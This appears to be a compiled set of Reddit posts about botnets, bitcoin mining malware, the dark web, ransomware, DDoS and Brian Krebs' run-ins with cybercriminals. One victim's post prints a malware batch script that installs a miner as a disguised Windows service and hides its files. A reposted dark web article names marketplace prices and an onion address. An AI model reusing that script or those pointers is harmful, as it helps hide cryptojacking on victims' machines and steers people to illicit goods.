Got a botnet? Thinking of using it to mine Bitcoin? Don't

Russian malware mines bitcoins via botnet

Russian malware mines bitcoins via botnet submitted by treesdotcom to Cyberpunk [link] [comments]

German Swat-Team [GSG9] nets Heads of Bitcoin Botnet - 700.000EUR in Bitcoins created via Botnet now with the GSG9.

German Swat-Team [GSG9] nets Heads of Bitcoin Botnet - 700.000EUR in Bitcoins created via Botnet now with the GSG9. submitted by Donnerholz to Bitcoin [link] [comments]

MoneroOcean pool owner supports botnets

Hi guys,
As of late my vps that was running Microsoft's RDP got hacked. The attacker ran a malware miner named system.exe that was using 99% CPU. I'm gonna post a screenshot of all of it right here so he gets publicly exposed for his deeds.
https://imgur.com/a/yArkTR8
By further investigation I found that this miner uses config.json as it's configuration file and I'm posting the contents also publicly here:
{ "algo": "cryptonight", "api": { "port": 0, "access-token": null, "id": null, "worker-id": null, "ipv6": false, "restricted": true }, "asm": true, "autosave": true, "av": 0, "background": false, "colors": true, "cpu-affinity": null, "cpu-priority": null, "donate-level": 0, "huge-pages": true, "hw-aes": null, "log-file": null, "max-cpu-usage": 100, "pools": [ { "url": "gulf.moneroocean.stream:80", "user": "44CZd8EvSktM2FzqMVbMBc9pWDcL45yYTWY3VzdymUbjDG6F1734vQh4dj9hjn7tj3eFohS8NGSDSNNVzBxLt7Eb8Vw8vrq", "pass": "x", "rig-id": null, "nicehash": false, "keepalive": false, "variant": -1, "enabled": true, "tls": false, "tls-fingerprint": null } ], "print-time": 60, "retries": 5, "retry-pause": 5, "safe": false, "threads": [ { "low_power_mode": 1, "affine_to_cpu": false, "asm": true }, { "low_power_mode": 1, "affine_to_cpu": false, "asm": true }, { "low_power_mode": 1, "affine_to_cpu": false, "asm": true } ], "user-agent": null, "watch": true }
cmd.bat contents are the following:
attrib -a -s -r -h C:\WINDOWS\Debug\nat* net stop Networks taskkill /f /im system.exe C:\WINDOWS\Debug\nat\svchost.exe install "Networks20181019" C:\WINDOWS\Debug\nat\system.exe sc config "Networks20181019" DisplayName= "Networksr20181019" sc description "Networks20181019" "Microsoft Windows Networks" Set ProcessName=system.exe sc start "Networks20181019" attrib +a +s +r +h C:\WINDOWS\Debug\nat* echo u/off del %USERPROFILE%\Desktop\0.exe
I've scanned everything on VirusTotal and upon visiting the pool I've noticed that the miner has a hefty 50 KH/s. I've also contacted the pool owner via Discord and can post the whole discussion if anyone is willing to see it. He doesn't want to ban the miner, shortly.
I'm not so familiar with Monero but I had Bitcoins and I fully support the mining community. I understand that people with botnets increase difficulty for normal people to make a profit. I've also reported this guy to his ISP by examining the IP found in Event Viewer, since he didn't use a VPN (the IP isn't detected as proxy). I won't post the IP's publicly.
What more can I do? The pool owner also threatened me to report another XMR wallet address to SupportXMR pool because he thought I was a competitive attacker. I can also give that address aswell.
Thank you for reading and stay safe :)
submitted by r00t_of_bnets to Monero [link] [comments]

What Is The Dark Web? How Can You Access It? What Will You Find?

What Is The Dark Web? How Can You Access It? What Will You Find?

Dark Net Hacker
DarkNetHacker.net
What is the dark web? How to access it and what you'll find
The dark web is part of the internet that isn't visible to search engines and requires the use of an anonymizing browser called Tor to be accessed.
Dark web definition
The dark web is a part of the internet that isn't indexed by search engines. You've no doubt heard talk of the “dark web” as a hotbed of criminal activity — and it is. Researchers Daniel Moore and Thomas Rid of King's College in London classified the contents of 2,723 live dark web sites over a five-week period in 2015 and found that 57% host illicit material.

A 2019 study, Into the Web of Profit, conducted by Dr. Michael McGuires at the University of Surrey, shows that things have become worse. The number of dark web listings that could harm an enterprise has risen by 20% since 2016. Of all listings (excluding those selling drugs), 60% could potentially harm enterprises.

You can buy credit card numbers, all manner of drugs, guns, counterfeit money, stolen subscription credentials, hacked Netflix accounts and software that helps you break into other people’s computers. Buy login credentials to a $50,000 Bank of America account for $500. Get $3,000 in counterfeit $20 bills for $600. Buy seven prepaid debit cards, each with a $2,500 balance, for $500 (express shipping included). A “lifetime” Netflix premium account goes for $6. You can hire hackers to attack computers for you. You can buy usernames and passwords.

But not everything is illegal, the dark web also has a legitimate side. For example, you can join a chess club or BlackBook, a social network described as the “the Facebook of Tor.”


Note: This post contains links to dark web sites that can only be accessed with the Tor browser, which can be downloaded for free at https://www.torproject.org.

Deep web vs. dark web: What’s the difference?
The terms “deep web” and “dark web” are sometimes used interchangeably, but they are not the same. Deep web refers to anything on the internet that is not indexed by and, therefore, accessible via a search engine like Google. Deep web content includes anything behind a paywall or requires sign-in credentials. It also includes any content that its owners have blocked web crawlers from indexing.

Medical records, fee-based content, membership websites, and confidential corporate web pages are just a few examples of what makes up the deep web. Estimates place the size of the deep web at between 96% and 99% of the internet. Only a tiny portion of the internet is accessible through a standard web browser—generally known as the “clear web”.

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The dark web is a subset of the deep web that is intentionally hidden, requiring a specific browser—Tor—to access, as explained below. No one really knows the size of the dark web, but most estimates put it at around 5% of the total internet. Again, not all the dark web is used for illicit purposes despite its ominous-sounding name.


Dark web tools and services that present enterprise risk
The Into the Web of Profit report identified 12 categories of tools or services that could present a risk in the form of a network breach or data compromise:

Infection or attacks, including malware, distributed denial of service (DDoS) and botnets
Access, including remote access Trojans (RATs), keyloggers and exploits
Espionage, including services, customization and targeting
Support services such as tutorials
Credentials
Phishing
Refunds
Customer data
Operational data
Financial data
Intellectual property/trade secrets
Other emerging threats
The report also outlined three risk variables for each category:

Devaluing the enterprise, which could include undermining brand trust, reputational damage or losing ground to a competitor
Disrupting the enterprise, which could include DDoS attacks or other malware that affects business operations
Defrauding the enterprise, which could include IP theft or espionage that impairs a company's ability to compete or causes a direct financial loss
Dark web browser
All this activity, this vision of a bustling marketplace, might make you think that navigating the dark web is easy. It isn’t. The place is as messy and chaotic as you would expect when everyone is anonymous, and a substantial minority are out to scam others.

Accessing the dark web requires the use of an anonymizing browser called Tor. The Tor browser routes your web page requests through a series of proxy servers operated by thousands of volunteers around the globe, rendering your IP address unidentifiable and untraceable. Tor works like magic, but the result is an experience that’s like the dark web itself: unpredictable, unreliable and maddeningly slow.

[ Is your data being sold? What you need to know about monitoring the dark web. | Get the latest from CSO by signing up for our newsletters. ]

Still, for those willing to put up with the inconvenience, the dark web provides a memorable glimpse at the seamy underbelly of the human experience – without the risk of skulking around in a dark alley.

Dark web search engine
Dark web search engines exist, but even the best are challenged to keep up with the constantly shifting landscape. The experience is reminiscent of searching the web in the late 1990s. Even one of the best search engines, called Grams, returns results that are repetitive and often irrelevant to the query. Link lists like The Hidden Wiki are another option, but even indices also return a frustrating number of timed-out connections and 404 errors.

Dark web sites
Dark web sites look pretty much like any other site, but there are important differences. One is the naming structure. Instead of ending in .com or .co, dark web sites end in .onion. That’s “a special-use top level domain suffix designating an anonymous hidden service reachable via the Tor network,” according to Wikipedia. Browsers with the appropriate proxy can reach these sites, but others can’t.

Dark web sites also use a scrambled naming structure that creates URLs that are often impossible to remember. For example, a popular commerce site called Dream Market goes by the unintelligible address of “eajwlvm3z2lcca76.onion.”

Many dark websites are set up by scammers, who constantly move around to avoid the wrath of their victims. Even commerce sites that may have existed for a year or more can suddenly disappear if the owners decide to cash in and flee with the escrow money they’re holding on behalf of customers.

Law enforcement officials are getting better at finding and prosecuting owners of sites that sell illicit goods and services. In the summer of 2017, a team of cyber cops from three countries successfully shut down AlphaBay, the dark web’s largest source of contraband, sending shudders throughout the network. But many merchants simply migrated elsewhere.

The anonymous nature of the Tor network also makes it especially vulnerable to DDoS, said Patrick Tiquet, Director of Security & Architecture at Keeper Security, and the company’s resident expert on the topic. “Sites are constantly changing addresses to avoid DDoS, which makes for a very dynamic environment,” he said. As a result, “The quality of search varies widely, and a lot of material is outdated.”

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Commerce on the dark web
The dark web has flourished thanks to bitcoin, the crypto-currency that enables two parties to conduct a trusted transaction without knowing each other’s identity. “Bitcoin has been a major factor in the growth of the dark web, and the dark web has been a big factor in the growth of bitcoin,” says Tiquet.

Nearly all dark web commerce sites conduct transactions in bitcoin or some variant, but that doesn’t mean it’s safe to do business there. The inherent anonymity of the place attracts scammers and thieves, but what do you expect when buying guns or drugs is your objective?

Dark web commerce sites have the same features as any e-retail operation, including ratings/reviews, shopping carts and forums, but there are important differences. One is quality control. When both buyers and sellers are anonymous, the credibility of any ratings system is dubious. Ratings are easily manipulated, and even sellers with long track records have been known to suddenly disappear with their customers’ crypto-coins, only to set up shop later under a different alias.

Most e-commerce providers offer some kind of escrow service that keeps customer funds on hold until the product has been delivered. However, in the event of a dispute don’t expect service with a smile. It’s pretty much up to the buyer and the seller to duke it out. Every communication is encrypted, so even the simplest transaction requires a PGP key.

Even completing a transaction is no guarantee that the goods will arrive. Many need to cross international borders, and customs officials are cracking down on suspicious packages. The dark web news site Deep.Dot.Web teems with stories of buyers who have been arrested or jailed for attempted purchases.

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Is the dark web illegal?
We don’t want to leave you with the impression that everything on the dark web is nefarious or illegal. The Tor network began as an anonymous communications channel, and it still serves a valuable purpose in helping people communicate in environments that are hostile to free speech. “A lot of people use it in countries where there’s eavesdropping or where internet access is criminalized,” Tiquet said.

If you want to learn all about privacy protection or cryptocurrency, the dark web has plenty to offer. There are a variety of private and encrypted email services, instructions for installing an anonymous operating system and advanced tips for the privacy-conscious.

There’s also material that you wouldn’t be surprised to find on the public web, such as links to full-text editions of hard-to-find books, collections of political news from mainstream websites and a guide to the steam tunnels under the Virginia Tech campus. You can conduct discussions about current events anonymously on Intel Exchange. There are several whistleblower sites, including a dark web version of Wikileaks. Pirate Bay, a BitTorrent site that law enforcement officials have repeatedly shut down, is alive and well there. Even Facebook has a dark web presence.

“More and more legitimate web companies are starting to have presences there,” Tiquet said. “It shows that they’re aware, they’re cutting edge and in the know.”

There’s also plenty of practical value for some organizations. Law enforcement agencies keep an ear to the ground on the dark web looking for stolen data from recent security breaches that might lead to a trail to the perpetrators. Many mainstream media organizations monitor whistleblower sites looking for news.

Staying on top of the hacker underground
Keeper’s Patrick Tiquet checks in regularly because it’s important for him to be on top of what’s happening in the hacker underground. “I use the dark web for situational awareness, threat analysis and keeping an eye on what’s going on,” he said will. “I want to know what information is available and have an external lens into the digital assets that are being monetized – this gives us insight on what hackers are targeting.”

If you find your own information on the dark web, there’s precious little you can do about it, but at least you’ll know you’ve been compromised. Bottom line: If you can tolerate the lousy performance, unpredictable availability, and occasional shock factor of the dark web, it’s worth a visit. Just don’t buy anything there.
submitted by hireahackerpro to u/hireahackerpro [link] [comments]

Just a Wink and Smile - the Avaddon Pathway to Doom

The new Avaddon ransomware has come alive in an enormous spam campaign targeting online users with emails containing a wink emoji.
What is happening The Avaddon ransomware is being propagated via the Phorphiex/Trik botnet. The malspam messages try to entice the recipients into opening a photo, with a wink emoji in the email body. The phishing email contains a zip file that contains a JavaScript file. Once the JavaScript file is launched, the Trik worm, Gozi banking trojan, CryptoNight XMRig cryptocurrency miner, and Gandcrab ransomware are loaded.
Looking into the past Phorphiex/Trik botnet is one of the few botnets capable of packing a strong payload punch. Trik botnet is at least a decade old and first was dissipated via live chat and USB storage drives. While last year’s campaign contained female names in the phishing email, this year the display names were male. In 2018, 43 million email addresses leaked from the C&C server of the botnet.
Worth noting The monetary demand varies and payment is accepted in bitcoins. Their site contains 24/7 support assistance and ways to obtain bitcoin, along with a QR code and wallet address for payment. The operators are targeting users worldwide, proven by the presence of 9 language options on their site. The related IOCs can be found here.
The bottom line The threat actors behind Avaddon have posted on Russian hacker forums that they are a Ransomware-as-a-Service (RaaS) program. Following the RaaS rules, the actors will not target the Commonwealth of Independent States. Security experts expect to see a rise in advanced attack tactics and increasing distribution of the ransomware.
submitted by tonyrogerz to Tech_And_Hacking_News [link] [comments]

Intrusion Alerts to actual IP even when connected to VPN

So I've been a NordVPN customer since July of '17 and have experienced what I consider the best protection, confidence in anonymity, as well as ease of use. That said, there's a lot I don't understand. The reason for this post is because I'm being alerted of some ip addresses known for bad behavior, being blocked by my router. I'm getting A LOT of alerts and I don't know if it's normal or not. The curious thing is that the in the alert the DESTINATION is my public IP address from my provider.
Basically, someone's knocking on the doors of my real public IP address and I need to assess the threat. How can that be when I have NordVPN and my real IP address is supposed to be blocked?
Details on the intrusion, if it matters: Asus Router AC-3200
The Two-Way Intrusion Prevention System protects any device connected to the network from spam or DDoS attacks. It also blocks malicious incoming packets to protect your router from network vulnerability attacks, such as Shellshocked, Heartbleed, Bitcoin mining, and ransomware. Additionally, Two-Way IPS detects suspicious outgoing packets from infected devices and avoids botnet attacks.
The Exploits Blocked:
Exploit netcore router backdoor access
Exploit Remote Command Execution via shell script -2
submitted by Thilky to nordvpn [link] [comments]

Let's talk DDOSing

Hi guys,
I want to open this thread to talk about the biggest problem we are all facing right now in Rainbow Six Siege. DDOS was always in some way a part of R6s, 3-4 seasons back it was quite rare to run across a booter on the enemy team. Now it has gotten so bad that you almost cannot play ranked on console anymore, atleast on high ranks like Platinum to Diamond.
For me personally i'm not even that mad because of booting the servers, on higher ranks you get to know enemy players by name and meeting them over and over across the years, and that just proves that the enemies are bad to the point of hitting the server down, which is satisfying because you know that you won that game.
But nonetheless it's game breaking, and im not trying to defend booting in any way, just my opinion.
Now some big youtubers are responding to the community by making videos to get the devs attention. This has been done over the last year or more, they never really gave their statement to ddosing as far as i know (correct me if im wrong) but they have always been working on stabilising their servers to reduce lag (and probably prevent booting). I'm certainly not a pro in terms of computers and IT, but i know things.
99% of the community says ddossing cannot be stopped. Okay, so Ubisoft does NOT own any server, these are microsoft Azure servers that ubisoft rents to run Rainbow Six (PC, XB & PS4). These servers have a Public IP Adress that can be tracked pretty easily if you have some basic computer knowledge and the right tool. Microsoft servers have securities to prevent attacks, and they have been optimizing security a number of times, but people kept finding new ways to perform attacks, since there are plenty.
*IF you already know and understand what ddos is, please skip this part, but since there are constantly new players on rainbow that report ddosing as server problems because they don't know what it is, i will explain it in easy terms.
So DDOS means Distributed Denial of Service, if i browse a website, my computer constantly exchanges packages with the IP adress of that site, so the site keeps track of what i'm doing and i can browse where i need to be. Now if i had 5000 computers in my room, every computer performing 100 demands on that website, all at the same time, you could imagine what happens. This is what DDOSers do on rainbow Six, via Botnets. Botnets are a large group of "infected" computers, that belong to this Botnet, without knowing so. So the DDOSer on Rainbow buys or gets a suscription for a botnet service which he then gets his acces to, either by a website or a programm like an SSH Telnet client (example: putty). By entering the IP Adress of that game server, he commands every bot that is part of the network to send a huge amount of fake data to that server, completety flooding him with demands, which ends up in crashing the server. In case of "game freezing", the botnet sends a calculated amount of data to barely keep the server going but too much for the server to actually handle other things, like player movement commands ect, that's why the game does not crash but nobody is able to move around.
The most popular Botnets for R6 can have between 50 - 10'000 bots connected, that's why booters feel safe when performing these attacks on MS servers, it can be very hard to define where the source of the attack is located, when 10'000 Computers all across the globe attack your server at once.
As i said earlier, many youtubers are starting to react to the community by making videos explaining the possible consequences to booting servers, talking about federal crimes, 10 years of imprisonnement ect.. What do you guys think, is it to scare the 12 year olds from trying to do these things or could it happen that Ubisoft takes people to court for this.
I mean technically the booter is not damaging anything, he doesn't steal or publish company data, and most of the servers are up and working again 10 minutes after the ddos. If you're a bit clever you will use a anonymous Email Adress for the service, possibly darknet mail, most booters accept bitcoin payments and suggest VPN usage, so i think the amount of work behind tracking down some 12 year old trying to get an advantage in Ranked is going to cost the company a lot of money and time...
I think all they can do is improve the security against these attacks and hope that hackers cannot figure out other efficient ways of stressing the servers.
People are saying why does ubisoft not just have own servers, that will likely never happen, because the costs of running such an infrastructure, with security, server rooms, cooling and Power costs, would never be an option for Ubi.
Feel free to share your knowledge and ideas or questions in this thread.
submitted by Sxzen to Rainbow6 [link] [comments]

Why Bitcoin’s Lightning might help botmasters secretely control botnets https://t.co/wxdDhIkANf

Why Bitcoin’s Lightning might help botmasters secretely control botnets https://t.co/wxdDhIkANf
— Digitalmunition (@maher275) December 31, 2019
from Twitter via IFTTT
submitted by shinney to digitalmunition [link] [comments]

What's up with Brave Browser?

I've been seeing ads for Brave Browser on a number of websites, including Reddit itself. On GoogePlay, it has 10M downloads and bills itself as a no-ads privacy browser.
But when it came out years ago, I heard it was supposedly a scam that didn't really protect your privacy, while turning you into a botnet. Google tells me there is some bitcoin/ethereum connection still going on.
So why is it popular? What is the massive appeal versus Chrome, Firefox, Kiwi, Via, etc.
submitted by anonMLS to OutOfTheLoop [link] [comments]

A few stories about Brian Krebs: The independent cybercrime journalist who exposes criminals on the internet

First, a bit of introduction before we get into the living drama that is Brian Krebs.
Brian Krebs has been a journalist for decades, starting in the late 90s. He got his start at The Washington Post, but what he's most famous for are his exposes on criminal businesses and individuals who perpetuate cyber crime worldwide. In 2001, he got his interest in cybercrime piqued when a computer worm locked him out of his own computer. In 2005, he shifted from working as a staff writer at The Washington Post's tech newswire to writing for their security blog, "Security Wire". During his tenure there, he started by focusing on the victims of cybercrime, but later also started to focus on the perpetrators of it as well. His reporting helped lead to the shutdown of McColo, a hosting provider who provided service to some of the world's biggest spammers and hackers. Reports analyzing the shutdown of McColo estimated that global spam volume dropped by between 40 and 70 percent. Further analysis revealed it also played host to child pornography sites, and the Russian Business Network, a major Russian cybercrime ring.
In 2009, Krebs left to start his own site, KrebsOnSecurity. Since then, he's been credited with being the first to report on major events such as Stuxnet and when Target was breached, resulting in the leakage of 40 million cards. He also regularly investigates and reveals criminals' identities on his site. The latter has made him the bane of the world of cybercrime, as well as basically a meme, where criminals will include references like Made by Brian Krebs in their code, or name their shops full of stolen credit cards after him.
One of his first posts on his new site was a selection of his best work. While not particularly dramatic, they serve as an excellent example of dogged investigative work, and his series reveal the trail of takedowns his work has documented, or even contributed to.
And now, a selection of drama involving Krebs. Note, all posts are sarcastically-tinged retellings of the source material which I will link throughout. I also didn't use the real names in my retellings, but they are in the source material. This took way too long to write, and it still does massively condense the events described in the series. Krebs has been involved with feuds with other figures, but I'd argue these tales are the "main" bits of drama that are most suited for here.

Fly on the Wall

By 2013, Krebs was no stranger to cybercriminals taking the fight to the real world. He was swatted previously to the point where the police actually know to give him a ring and see if there'd actually been a murder, or if it was just those wacky hackers at it again. In addition, his identity was basically common knowledge to cybercriminals, who would open lines of credit in his name, or find ways to send him money using stolen credit cards.
However, one particular campaign against him caught his eye. A hacker known as "Fly" aka "Flycracker" aka "MUXACC1" posted on a Russian-language fraud forum he administered about a "Krebs fund". His plan was simple. Raise Bitcoin to buy Heroin off of a darknet marketplace, address it to Krebs, and alert his local police via a spoofed phone call. Now, because Krebs is an investigative journalist, he develops undercover presences on cybercrime forums, and it just so happened he'd built up a presence on this one already.
Guys, it became known recently that Brian Krebs is a heroin addict and he desperately needs the smack, so we have started the "Helping Brian Fund", and shortly we will create a bitcoin wallet called "Drugs for Krebs" which we will use to buy him the purest heroin on the Silk Road. My friends, his withdrawal is very bad, let’s join forces to help the guy! We will save Brian from the acute heroin withdrawal and the world will get slightly better!
Fly had first caught Krebs' attention by taunting him on Twitter, sending him Tweets including insults and abuse, and totally-legit looking links. Probably either laced with malware, or designed to get Krebs' IP. He also took to posting personal details such as Krebs' credit report, directions to his house, and pictures of his front door on LiveJournal, of all places.
So, after spotting the scheme, he alerted his local police that he'd probably have someone sending him some China White. Sure enough, the ne'er-do-wells managed to raise 2 BTC, which at the time was a cool $200 or so. They created an account on the premiere darknet site at the time, The Silk Road under the foolproof name "briankrebs7". They found one seller who had consistently high reviews, but the deal fell through for unknown reasons. My personal theory is the seller decided to Google where it was going, and realized sending a gram of dope into the waiting arms of local law enforcement probably wasn't the best use of his time. Still, the forum members persevered, and found another seller who was running a buy 10 get 2 free promotion. $165 of Bitcoin later, the drugs were on their way to a new home. The seller apparently informed Fly that the shipment should arrive by Tuesday, a fact which he gleefully shared with the forum.
While our intrepid hero had no doubt that the forum members were determined to help him grab the tail of the dragon, he's not one to assume without confirmation, and enlisted the help of a graduate student at UCSD who was researching Bitcoin and anonymity on The Silk Road, and confirmed the address shared by Fly was used to deposit 2 BTC into an account known to be used for money management on the site.
By Monday, an envelope from Chicago had arrived, containing a copy of Chicago confidential. Taped inside were tiny baggies filled with the purported heroin. Either dedicated to satisfied customers, or mathematically challenged, the seller had included thirteen baggies instead of the twelve advertised. A police officer arrived to take a report and whisked the baggies away.
Now, Fly was upset that Krebs wasn't in handcuffs for drug possession, and decided to follow up his stunt by sending Krebs a floral arrangement shaped like a cross, and an accompanying threatening message addressed to his wife, the dire tone slightly undercut by the fact that it was signed "Velvet Crabs". Krebs' curiosity was already piqued from the shenanigans with the heroin, but with the arrival of the flowers decided to dive deeper into the сука behind things.
He began digging into databases from carding sites that had been hacked, but got his first major breakthrough to his identity from a Russian computer forensics firm. Fly had maintained an account on a now-defunct hacking forum, whose database was breached under "Flycracker". It turns out, the email Flycracker had used was also hacked at some point, and a source told Krebs that the email was full of reports from a keylogger Fly had installed on his wife's computer. Now, because presumably his wife wasn't part of, or perhaps even privy to her husband's illicit dealings, her email account happened to be her full legal name, which Krebs was able to trace to her husband. Now, around this time, the site Fly maintained disappeared from the web, and administrators on another major fraud forum started purging his account. This is a step they typically take when they suspect a member has been apprehended by authorities. Nobody knew for sure, but they didn't want to take any chances.
More research by Krebs revealed that the criminals' intuition had been correct, and Fly was arrested in Italy, carrying documents under an assumed name. He was sitting in an Italian jail, awaiting potential extradition to the United States, as well as potentially facing charges in Italy. This was relayed to Krebs by a law enforcement official who simply said "The Fly has been swatted". (Presumably while slowly removing a pair of aviator sunglasses)
While Fly may have been put away, the story between Krebs and Fly wasn't quite over. He did end up being extradited to the US for prosecution, but while imprisoned in Italy, Fly actually started sending Krebs letters. Understandably distrustful after the whole "heroin" thing, his contacts in federal law enforcement tested the letter, and found it to be clean. Inside, there was a heartfelt and personal letter, apologizing for fucking with Krebs in so many ways. He also forgave Krebs for posting his identity online, leading him to muse that perhaps Fly was working through a twelve-step program. In December, he received another letter, this time a simple postcard with a cheerful message wishing him a Merry Christmas and a Happy New Year. Krebs concluded his post thusly:
Cybercrooks have done some pretty crazy stuff to me in response to my reporting about them. But I don’t normally get this kind of closure. I look forward to meeting with Fly in person one day soon now that he will be just a short train ride away. And he may be here for some time: If convicted on all charges, Fly faces up to 30 years in U.S. federal prison.
Fly ultimately was extradited. He plead guilty and was sentenced to 41 months in jail

vDOS and Mirai Break The Internet

Criminals are none too happy when they find their businesses and identities on the front page of KrebsOnSecurity. It usually means law enforcement isn't far behind. One such business was known as vDOS. A DDOS-for-hire (also known as a "booter" or a "stresser") site that found itself hacked, with all their customer records still in their databases leaked. Analysis of the records found that in a four-month time span, the service had been responsible for about 8.81 years worth of attack time, meaning on average at any given second, there were 26 simultaneous attacks running. Interestingly, the hack of vDOS came about from another DDOS-for-hire site, who as it turns out was simply reselling services provided by vDOS. They were far from the only one. vDOS appeared to provide firepower to a large number of different resellers.
In addition to the attack logs, support messages were also among the data stolen. This contained some complaints from various clients who complained they were unable to launch attacks against Israeli IPs. This is a common tactic by hackers to try and avoid unwanted attention from authorities in their country of residence. This was confirmed when two men from Israel were arrested for their involvement in owning and running vDOS. However, this was just the beginning for this bit of drama.
The two men arrested went by the handles "applej4ck" and "Raziel". They had recently published a paper on DDOS attack methods in an online Israeli security magazine. Interestingly, on the same day the men were arrested, questioned, and released on bail, vDOS went offline. Not because it had been taken down by Israeli authorities, not because they had shut it down themselves, but because a DDOS protection firm, BackConnect Security, had hijacked the IP addresses belonging to the company. To spare a lot of technical detail, it's called a BGP hijack, and it basically works by a company saying "Yeah, those are our addresses." It's kind of amazing how much of the internet is basically just secured by the digital equivalent of pinky swears. You can read some more technical detail on Wikipedia. Anyway, we'll get back to BackConnect.
Following the publication of the story uncovering the inner workings of vDOS, KrebsOnSecurity was hit with a record breaking DDOS attack, that peaked at 620/Gbps, nearly double the most powerful DDOS attack previously on record. To put that in perspective, that's enough bandwidth to download 5 simultaneous copies of Interstellar in 4K resolution every single second, and still have room to spare. The attack was so devastating, Akamai, one of the largest providers of DDOS protection in the world had to drop Krebs as a pro bono client. Luckily, Google was willing to step in and place his site under the protection of Google's Project Shield, a free service designed to protect the news sites and journalists from being knocked offline by DDOS attacks.
This attack was apparently in retaliation for the vDOS story, since some of the data sent in the attack included the string "freeapplej4ck". The attack was executed by a botnet of Internet of Things (or IoT) devices. These are those "smart" devices like camera systems, routers, DVRs. Basically things that connect to the cloud. An astounding amount of those are secured with default passwords that can be easily looked up from various sites or even the manufacturers' websites. This was the start of a discovery of a massive botnet that had been growing for years.
Now time for a couple quick side stories:
Dyn, a company who provides DNS to many major companies including Twitter, Reddit, and others came under attack, leaving many sites (including Twitter and Reddit) faltering in the wake of it. Potentially due to one of their engineers' collaboration with Krebs on another story. It turned out that the same botnet that attacked Krebs' site was at least part of the attack on Dyn
And back to BackConnect, that DDOS protection firm that hijacked the IP addresses from vDOS. Well it turns out BGP Hijacks are old hat for the company. They had done it at least 17 times before. Including at least once (purportedly with permission) for the address 1.3.3.7. Aka, "leet". It turns out one of the co-founders of BackConnect actually posted screenshots of him visiting sites that tell you your public IP address in a DDOS mitigation industry chat, showing it as 1.3.3.7. They also used a BGP Hijack against a hosting company and tried to frame a rival DDOS mitigation provider.
Finally, another provider, Datawagon was interestingly implicated in hosting DDOS-for-hire sites while offering DDOS protection. In a Skype conversation where the founder of Datawagon wanted to talk about that time he registered dominos.pizza and got sued for it, he brings up scanning the internet for vulnerable routers completely unprompted. Following the publication of the story about BackConnect, in which he was included in, he was incensed about his portrayal, and argued with Krebs over Skype before Krebs ultimately ended up blocking him. He was subsequently flooded with fake contact requests from bogus or hacked Skype accounts. Shortly thereafter, the record-breaking DDOS attack rained down upon his site.
Back to the main tale!
So, it turns out the botnet of IoT devices was puppeteered by a malware called Mirai. How did it get its name? Well, that's the name its creator gave it, after an anime called Mirai Nikki. How did this name come to light? The creator posted the source code online. (The name part, not the origin. The origin didn't come 'til later.) The post purported that they'd picked it up from somewhere in their travels as a DDOS industry professional. It turns out this is a semi-common tactic when miscreants fear that law enforcement might come looking for them, and having the only copy of the source code of a malware in existence is a pretty strong indicator that you have something to do with it. So, releasing the source to the world gives a veneer of plausible deniability should that eventuality come to pass. So who was this mysterious benefactor of malware source? They went by the name "Anna-senpai".
As research on the Mirai botnet grew, and more malware authors incorporated parts of Mirai's source code into their own attacks, attention on the botnet increased, and on the people behind it. The attention was presumably the reason why Hackforums, the forum where the source code was posted, later disallowed ostensible "Server Stress Tester" services from being sold on it. By December, "Operation Tarpit" had wrought 34 arrests and over a hundred "knock and talk" interviews questioning people about their involvement.
By January, things started to come crashing down. Krebs published an extensive exposé on Anna-senpai detailing all the evidence linking them to the creation of Mirai. The post was so big, he included a damn glossary. What sparked the largest botnet the internet had ever seen? Minecraft. Minecraft servers are big business. A popular one can earn tens of thousands of dollars per month from people buying powers, building space, or other things. It's also a fiercely competitive business, with hundreds of servers vying for players. It turns out that things may have started, as with another set of companies, two rival DDOS mitigation providers competing for customers. ProTraf was a provider of such mitigation technology, and a company whose owner later worked for ProTraf had on at least one occasion hijacked addresses belonging to another company, ProxyPipe. ProxyPipe had also been hit with DDOS attacks they suspected to be launched by ProTraf.
While looking into the President of ProTraf, Krebs realized he'd seen the relatively uncommon combination of programming languages and skills posted by the President somewhere else. They were shared by Anna-senpai on Hackforums. As Krebs dug deeper and deeper into Anna-senpai's online presence, he uncovered other usernames, including one he traced to some Minecraft forums where a photoshopped picture of a still from Pulp Fiction contained the faces of BackConnect, which was a rival to ProTraf's DDOS mitigation business, and another face. A hacker by the name of Vyp0r, who another employee of ProTraf claimed betrayed his trust and blackmailed him into posting the source of another piece of malware called Bashlite. There was also a third character photoshopped into the image. An anime character named "Yamada" from a movie called B Gata H Hei.
Interestingly, under the same username, Krebs found a "MyAnimeList" profile which, out of 9 titles it had marked as watched, were B Gata H Hei, as well as Mirai Nikki, the show from which Mirai derived its name. It continues on with other evidence, including DDOS attacks against Rutgers University, but in short, there was little doubt in the identity of "Anna-senpai", but the person behind the identity did contact Krebs to comment. He denied any involvement in Mirai or DDOS attacks.
"I don’t think there are enough facts to definitively point the finger at me," [Anna-senpai] said. "Besides this article, I was pretty much a nobody. No history of doing this kind of stuff, nothing that points to any kind of sociopathic behavior. Which is what the author is, a sociopath."
He did, however, correct Krebs on the name of B Gata H Kei.
Epilogue
Needless to say, the Mirai botnet crew was caught, but managed to avoid jailtime thanks to their cooperation with the government. That's not to say they went unpunished. Anna-senpai was sentenced to 6 months confinement, 2500 hours of community service, and they may have to pay up to $8.6 million in restitution for their attacks on Rutgers university.

Other Stories

I don't have the time or energy to write another effortpost, and as is I'm over 20,000 characters, so here's a few other tidbits of Krebs' clashes with miscreants.
submitted by HereComesMyDingDong to internetdrama [link] [comments]

The Problem with PoW

The Problem with PoW
Miners have always had it rough..
"Frustrated Miners"

The Problem with PoW
(and what is being done to solve it)

Proof of Work (PoW) is one of the most commonly used consensus mechanisms entrusted to secure and validate many of today’s most successful cryptocurrencies, Bitcoin being one. Battle-hardened and having weathered the test of time, Bitcoin has demonstrated the undeniable strength and reliability of the PoW consensus model through sheer market saturation, and of course, its persistency.
In addition to the cost of powerful computing hardware, miners prove that they are benefiting the network by expending energy in the form of electricity, by solving and hashing away complex math problems on their computers, utilizing any suitable tools that they have at their disposal. The mathematics involved in securing proof of work revolve around unique algorithms, each with their own benefits and vulnerabilities, and can require different software/hardware to mine depending on the coin.
Because each block has a unique and entirely random hash, or “puzzle” to solve, the “work” has to be performed for each block individually and the difficulty of the problem can be increased as the speed at which blocks are solved increases.

Hashrates and Hardware Types

While proof of work is an effective means of securing a blockchain, it inherently promotes competition amongst miners seeking higher and higher hashrates due to the rewards earned by the node who wins the right to add the next block. In turn, these higher hash rates benefit the blockchain, providing better security when it’s a result of a well distributed/decentralized network of miners.
